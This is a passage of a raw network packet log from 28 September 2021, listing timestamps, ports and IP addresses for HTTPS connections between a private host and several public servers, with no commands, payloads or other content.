Sep 28, 2021 09:54:25.488909006 CEST	443	50034	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.527231932 CEST	50034	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.527251005 CEST	443	50034	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.649090052 CEST	443	50034	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.649207115 CEST	50034	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.649213076 CEST	443	50034	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:25.649300098 CEST	50034	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.650587082 CEST	50034	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:25.650614977 CEST	443	50034	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:26.761812925 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:26.761893988 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:26.762026072 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.792989016 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.793014050 CEST	443	50029	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:26.793031931 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.793107033 CEST	50029	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.830271959 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.830270052 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:54:26.830323935 CEST	443	50040	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:26.830339909 CEST	49797	443	192.168.2.3	104.26.2.70
Sep 28, 2021 09:54:26.830495119 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.830816031 CEST	50041	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:26.830848932 CEST	443	50041	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:26.830857992 CEST	49798	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:54:26.830874920 CEST	49798	443	192.168.2.3	142.250.186.70
Sep 28, 2021 09:54:26.831221104 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:54:26.831273079 CEST	50041	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:26.831304073 CEST	49789	443	192.168.2.3	172.67.70.134
Sep 28, 2021 09:54:26.831619978 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:54:26.831634045 CEST	49774	443	192.168.2.3	104.20.184.68
Sep 28, 2021 09:54:26.869014978 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.869059086 CEST	443	50040	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:26.874738932 CEST	50041	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:26.874794006 CEST	443	50041	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:26.928617954 CEST	443	50041	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:26.928817987 CEST	50041	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:26.930718899 CEST	443	50040	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:26.933208942 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.951534033 CEST	50041	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:26.951570034 CEST	443	50041	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:26.953083038 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:26.953109980 CEST	443	50040	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:27.072453976 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:27.072477102 CEST	443	50040	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:27.084662914 CEST	50041	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:27.084712029 CEST	443	50041	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:27.491226912 CEST	443	50041	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:27.491316080 CEST	443	50041	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:27.491393089 CEST	50041	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:27.516684055 CEST	50041	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:27.516727924 CEST	443	50041	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.207398891 CEST	50043	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.207459927 CEST	443	50043	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.207572937 CEST	50043	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.212949038 CEST	50043	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.212985992 CEST	443	50043	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.258204937 CEST	443	50043	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.258343935 CEST	50043	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.261085033 CEST	50043	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.261104107 CEST	443	50043	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.278595924 CEST	50043	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.278618097 CEST	443	50043	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.407134056 CEST	443	50043	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.407375097 CEST	443	50043	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.407618999 CEST	50043	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.416301012 CEST	50043	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.416361094 CEST	443	50043	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.710100889 CEST	50044	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.710269928 CEST	443	50044	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.710463047 CEST	50044	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.711786985 CEST	50044	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.711817026 CEST	443	50044	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.760752916 CEST	443	50044	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.761004925 CEST	50044	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.763345003 CEST	50044	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.763370991 CEST	443	50044	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.798456907 CEST	50044	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.798476934 CEST	443	50044	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.919037104 CEST	443	50044	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.919258118 CEST	443	50044	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:28.919409037 CEST	50044	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.926243067 CEST	50044	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:28.926276922 CEST	443	50044	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:29.125735998 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.125797987 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.125900984 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.126682043 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.126698971 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.207979918 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.208626032 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.211519957 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.211545944 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.213169098 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.213192940 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.430922031 CEST	443	50040	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.431009054 CEST	443	50040	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.431025982 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.431065083 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.433402061 CEST	50040	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.433434010 CEST	443	50040	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.441385031 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.441478968 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.442435980 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.442604065 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.442627907 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.442648888 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.442724943 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.443655968 CEST	50045	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.443677902 CEST	443	50045	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.483439922 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.483472109 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.485091925 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.487833977 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.487848997 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.551172018 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.551249981 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.555705070 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.555727959 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.557931900 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.557949066 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.558967113 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:29.558973074 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:29.590322971 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.590357065 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.590636015 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.591041088 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.591053963 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.681148052 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.683207035 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.685214043 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.685234070 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.710935116 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.710954905 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.866144896 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.866239071 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.866261005 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.866367102 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:29.866807938 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.871041059 CEST	50048	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:29.871064901 CEST	443	50048	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.032843113 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.032886982 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.033010006 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.033183098 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.033200979 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.082010984 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.082134008 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.082698107 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.082709074 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.093923092 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.093955994 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.127588987 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.127783060 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.127922058 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.127944946 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.127974033 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.128056049 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.130695105 CEST	50049	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:30.130732059 CEST	443	50049	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:30.318382978 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.318443060 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.319048882 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.319303036 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.319319963 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.399606943 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.399719954 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.400937080 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.400949001 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.402471066 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.402481079 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.622278929 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.622431040 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.622447014 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.622497082 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.622589111 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.622597933 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.622663021 CEST	50050	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.622679949 CEST	443	50050	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.756973028 CEST	50052	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.757029057 CEST	443	50052	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.757143021 CEST	50052	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.757740974 CEST	50052	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.757755995 CEST	443	50052	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.840934038 CEST	443	50052	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.841195107 CEST	50052	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.846787930 CEST	50052	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.846817017 CEST	443	50052	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:30.848515987 CEST	50052	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:30.848537922 CEST	443	50052	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:31.026640892 CEST	443	50052	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:31.027333975 CEST	443	50052	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:31.028120995 CEST	50052	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:31.029799938 CEST	50052	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:31.029840946 CEST	443	50052	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.017945051 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.018021107 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.018177986 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.133310080 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.133347988 CEST	443	50047	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.133384943 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.133405924 CEST	50047	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.177324057 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.177359104 CEST	443	50053	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.177508116 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.190237045 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.190259933 CEST	443	50053	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.271534920 CEST	443	50053	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.271794081 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.296943903 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.296963930 CEST	443	50053	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.299978018 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.299988031 CEST	443	50053	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.301320076 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.301358938 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.301436901 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.301685095 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.301697969 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.363051891 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.363228083 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.376848936 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.376869917 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.379388094 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.379404068 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.379415989 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:32.379421949 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:32.456825972 CEST	443	50053	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.456962109 CEST	443	50053	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.456974030 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.457007885 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.493927956 CEST	50053	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.493948936 CEST	443	50053	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.926007986 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.926070929 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:32.926156044 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.926544905 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:32.926572084 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.006669998 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.006758928 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:33.008315086 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:33.008333921 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.028484106 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:33.028520107 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.189085007 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.189169884 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:33.189193964 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.189240932 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:33.189256907 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.189275980 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.189301968 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:33.189337015 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:33.193018913 CEST	50055	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:33.193052053 CEST	443	50055	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:33.386850119 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.386899948 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:33.386998892 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.387742996 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.387763023 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:33.437753916 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:33.438062906 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.438606977 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.438627005 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:33.440471888 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.440491915 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:33.479151011 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:33.479207993 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:33.479268074 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:33.479290009 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.479322910 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.480003119 CEST	50056	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:33.480027914 CEST	443	50056	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:34.876396894 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:34.876486063 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:34.876521111 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:34.876575947 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:34.876723051 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:34.876744986 CEST	443	50054	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:34.876756907 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:34.879050970 CEST	50054	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:34.933437109 CEST	50061	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:34.933485031 CEST	443	50061	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:34.933546066 CEST	50061	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:34.933722973 CEST	50061	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:34.933733940 CEST	443	50061	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:34.994729042 CEST	443	50061	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:35.007837057 CEST	50061	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:35.010740042 CEST	50061	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:35.010763884 CEST	443	50061	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:35.114849091 CEST	50061	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:35.114888906 CEST	443	50061	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:35.453855038 CEST	50063	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.453898907 CEST	443	50063	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.453979969 CEST	50063	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.454194069 CEST	50063	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.454207897 CEST	443	50063	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.538747072 CEST	443	50063	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.544500113 CEST	50063	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.545497894 CEST	50063	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.545514107 CEST	443	50063	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.580806017 CEST	50063	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.580830097 CEST	443	50063	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.734065056 CEST	443	50063	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.734242916 CEST	443	50063	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.735162973 CEST	50063	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.738348007 CEST	50063	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.738372087 CEST	443	50063	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.934528112 CEST	50066	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.934564114 CEST	443	50066	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:35.934792995 CEST	50066	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.934990883 CEST	50066	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:35.934998035 CEST	443	50066	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:36.021030903 CEST	443	50066	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:36.021164894 CEST	50066	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:36.021970987 CEST	50066	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:36.021979094 CEST	443	50066	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:36.023494959 CEST	50066	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:36.023500919 CEST	443	50066	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:36.208168983 CEST	443	50066	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:36.208363056 CEST	443	50066	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:36.208739996 CEST	50066	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:36.209439039 CEST	50066	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:36.209459066 CEST	443	50066	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:36.383692980 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.383740902 CEST	443	50067	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:36.383836031 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.384109020 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.384121895 CEST	443	50067	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:36.430315971 CEST	443	50067	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:36.430388927 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.430737019 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.430747986 CEST	443	50067	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:36.432099104 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.432117939 CEST	443	50067	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:36.579374075 CEST	443	50067	162.219.225.118	192.168.2.3
